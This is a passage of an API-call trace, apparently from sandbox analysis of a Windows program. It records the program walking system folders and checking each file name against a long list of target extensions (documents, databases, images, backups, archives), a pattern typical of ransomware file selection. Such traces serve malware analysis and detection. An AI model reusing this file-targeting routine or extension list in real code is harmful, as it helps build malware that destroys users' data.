	[0189.429] lstrlenW (lpString="msadcer.dll.mui") returned 15
	[0189.429] lstrlenW (lpString=".1cd") returned 4
	[0189.429] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".3ds") returned 4
	[0189.429] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".3fr") returned 4
	[0189.429] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".3g2") returned 4
	[0189.429] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".3gp") returned 4
	[0189.429] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".7z") returned 3
	[0189.429] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.429] lstrlenW (lpString=".accda") returned 6
	[0189.429] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".accdb") returned 6
	[0189.429] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".accdc") returned 6
	[0189.429] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".accde") returned 6
	[0189.429] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".accdt") returned 6
	[0189.429] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".accdw") returned 6
	[0189.429] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0189.429] lstrlenW (lpString=".adb") returned 4
	[0189.429] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0189.429] lstrlenW (lpString=".adp") returned 4
	[0189.430] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai") returned 3
	[0189.430] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0189.430] lstrlenW (lpString=".ai3") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai4") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai5") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai6") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai7") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ai8") returned 4
	[0189.430] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".anim") returned 5
	[0189.430] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0189.430] lstrlenW (lpString=".arw") returned 4
	[0189.430] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".as") returned 3
	[0189.430] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0189.430] lstrlenW (lpString=".asa") returned 4
	[0189.430] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".asc") returned 4
	[0189.430] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".ascx") returned 5
	[0189.430] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0189.430] lstrlenW (lpString=".asm") returned 4
	[0189.430] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".asmx") returned 5
	[0189.430] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0189.430] lstrlenW (lpString=".asp") returned 4
	[0189.430] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0189.430] lstrlenW (lpString=".aspx") returned 5
	[0189.430] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0189.430] lstrlenW (lpString=".asr") returned 4
	[0189.430] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".asx") returned 4
	[0189.431] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".avi") returned 4
	[0189.431] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".avs") returned 4
	[0189.431] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".backup") returned 7
	[0189.431] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0189.431] lstrlenW (lpString=".bak") returned 4
	[0189.431] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".bay") returned 4
	[0189.431] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".bd") returned 3
	[0189.431] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0189.431] lstrlenW (lpString=".bin") returned 4
	[0189.431] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".bmp") returned 4
	[0189.431] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".bz2") returned 4
	[0189.431] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".c") returned 2
	[0189.431] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0189.431] lstrlenW (lpString=".cdr") returned 4
	[0189.431] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".cer") returned 4
	[0189.431] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".cf") returned 3
	[0189.431] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0189.431] lstrlenW (lpString=".cfc") returned 4
	[0189.431] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".cfm") returned 4
	[0189.431] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".cfml") returned 5
	[0189.431] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0189.431] lstrlenW (lpString=".cfu") returned 4
	[0189.431] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0189.431] lstrlenW (lpString=".chm") returned 4
	[0189.432] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".cin") returned 4
	[0189.432] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".class") returned 6
	[0189.432] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0189.432] lstrlenW (lpString=".clx") returned 4
	[0189.432] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".config") returned 7
	[0189.432] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0189.432] lstrlenW (lpString=".cpp") returned 4
	[0189.432] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".cr2") returned 4
	[0189.432] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".crt") returned 4
	[0189.432] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".crw") returned 4
	[0189.432] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".cs") returned 3
	[0189.432] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0189.432] lstrlenW (lpString=".css") returned 4
	[0189.432] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".csv") returned 4
	[0189.432] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".cub") returned 4
	[0189.432] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".dae") returned 4
	[0189.432] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".dat") returned 4
	[0189.432] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".db") returned 3
	[0189.432] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0189.432] lstrlenW (lpString=".dbf") returned 4
	[0189.432] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".dbx") returned 4
	[0189.432] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0189.432] lstrlenW (lpString=".dc3") returned 4
	[0189.433] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dcm") returned 4
	[0189.433] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dcr") returned 4
	[0189.433] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".der") returned 4
	[0189.433] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dib") returned 4
	[0189.433] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dic") returned 4
	[0189.433] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dif") returned 4
	[0189.433] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".divx") returned 5
	[0189.433] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".djvu") returned 5
	[0189.433] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".dng") returned 4
	[0189.433] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".doc") returned 4
	[0189.433] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".docm") returned 5
	[0189.433] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".docx") returned 5
	[0189.433] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".dot") returned 4
	[0189.433] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dotm") returned 5
	[0189.433] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".dotx") returned 5
	[0189.433] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0189.433] lstrlenW (lpString=".dpx") returned 4
	[0189.433] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0189.433] lstrlenW (lpString=".dqy") returned 4
	[0189.434] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".dsn") returned 4
	[0189.434] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".dt") returned 3
	[0189.434] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0189.434] lstrlenW (lpString=".dtd") returned 4
	[0189.434] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".dwg") returned 4
	[0189.434] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".dwt") returned 4
	[0189.434] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".dx") returned 3
	[0189.434] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0189.434] lstrlenW (lpString=".dxf") returned 4
	[0189.434] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".edml") returned 5
	[0189.434] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0189.434] lstrlenW (lpString=".efd") returned 4
	[0189.434] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".elf") returned 4
	[0189.434] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".emf") returned 4
	[0189.434] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".emz") returned 4
	[0189.434] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".epf") returned 4
	[0189.434] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".eps") returned 4
	[0189.434] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".epsf") returned 5
	[0189.434] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0189.434] lstrlenW (lpString=".epsp") returned 5
	[0189.434] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0189.434] lstrlenW (lpString=".erf") returned 4
	[0189.434] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0189.434] lstrlenW (lpString=".exr") returned 4
	[0189.435] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".f4v") returned 4
	[0189.435] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".fido") returned 5
	[0189.435] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0189.435] lstrlenW (lpString=".flm") returned 4
	[0189.435] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".flv") returned 4
	[0189.435] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".frm") returned 4
	[0189.435] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".fxg") returned 4
	[0189.435] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".geo") returned 4
	[0189.435] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".gif") returned 4
	[0189.435] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".grs") returned 4
	[0189.435] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0189.435] lstrlenW (lpString=".gz") returned 3
	[0189.435] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0189.435] lstrlenW (lpString="msadcor.dll.mui") returned 15
	[0189.435] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0189.435] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
	[0189.435] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0
	[0189.436] FindClose (in: hFindFile=0x3fb27d8 | out: hFindFile=0x3fb27d8) returned 1
	[0189.436] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1
	[0189.436] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0
	[0189.437] FindClose (in: hFindFile=0x3fb2118 | out: hFindFile=0x3fb2118) returned 1
	[0189.437] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.437] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0189.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2658
	[0189.438] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.438] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2818
